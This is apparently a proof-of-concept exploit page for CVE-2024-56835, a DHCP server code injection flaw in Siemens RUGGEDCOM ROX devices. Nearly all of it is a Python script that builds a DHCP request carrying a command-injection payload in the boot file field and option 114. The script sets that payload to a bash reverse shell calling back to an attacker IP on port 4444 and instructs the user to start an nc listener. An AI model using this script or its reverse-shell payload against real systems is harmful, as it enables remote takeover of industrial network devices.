CVE-2024-56835：Siemens RUGGEDCOM ROX DHCP Server代码注入漏洞

#!/usr/bin/env python3 # CVE-2024-56835 PoC - DHCP Server Code Injection # Target: Siemens RUGGEDCOM ROX devices < V2.17.0 import socket import struct import sys def create_dhcp_packet(inject_payload, attacker_ip, attacker_port=4444): """Construct DHCP packet with malicious payload""" # DHCP Message Type: Boot Request (1) # Hardware Type: Ethernet (1) # Hardware Address Length: 6 # Hops: 0 xid = 0x12345678 # Transaction ID # Build DHCP packet packet = struct.pack('!4B', 1, # op: BOOTREQUEST 1, # htype: ETHERNET 6, # hlen: MAC address length 0, # hops ) packet += struct.pack('!I', xid) # Transaction ID packet += struct.pack('!HH', 0, 0) # Seconds, Flags packet += b'\x00' * 4 # ciaddr packet += b'\x00' * 4 # yiaddr packet += b'\x00' * 4 # siaddr packet += b'\x00' * 4 # giaddr packet += b'\x00' * 16 # Client hardware address packet += b'\x00' * 64 # Server host name # Boot file name with injected payload boot_file = inject_payload.encode() packet += boot_file + b'\x00' * (128 - len(boot_file)) # Magic cookie packet += b'\x63\x82\x53\x63' # DHCP options packet += bytes([53, 1, 3]) # DHCP Message Type: DHCP Request packet += bytes([55, 3, 1, 3, 6]) # Parameter Request List # Malicious option with code injection # Option 114 - DHCP Default URL (custom exploitation) inject_option = f";{inject_payload}".encode() packet += bytes([114, len(inject_option)]) + inject_option # End option packet += bytes([255]) return packet def main(): if len(sys.argv) < 3: print("Usage: python cve-2024-56835.py <target_ip> <attacker_ip>") print("Example: python cve-2024-56835.py 192.168.1.100 192.168.1.50") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] # Reverse shell payload payload = f"bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1" print(f"[*] Crafting DHCP packet with reverse shell payload...") print(f"[*] Target: {target_ip}") print(f"[*] Attacker: {attacker_ip}:4444") dhcp_packet = create_dhcp_packet(payload, attacker_ip) # Broadcast to DHCP server sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.settimeout(5) try: print(f"[*] Sending malicious DHCP request...") sock.sendto(dhcp_packet, (target_ip, 67)) print(f"[+] Packet sent successfully!") print(f"[!] Start listener on port 4444: nc -lvp 4444") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": main()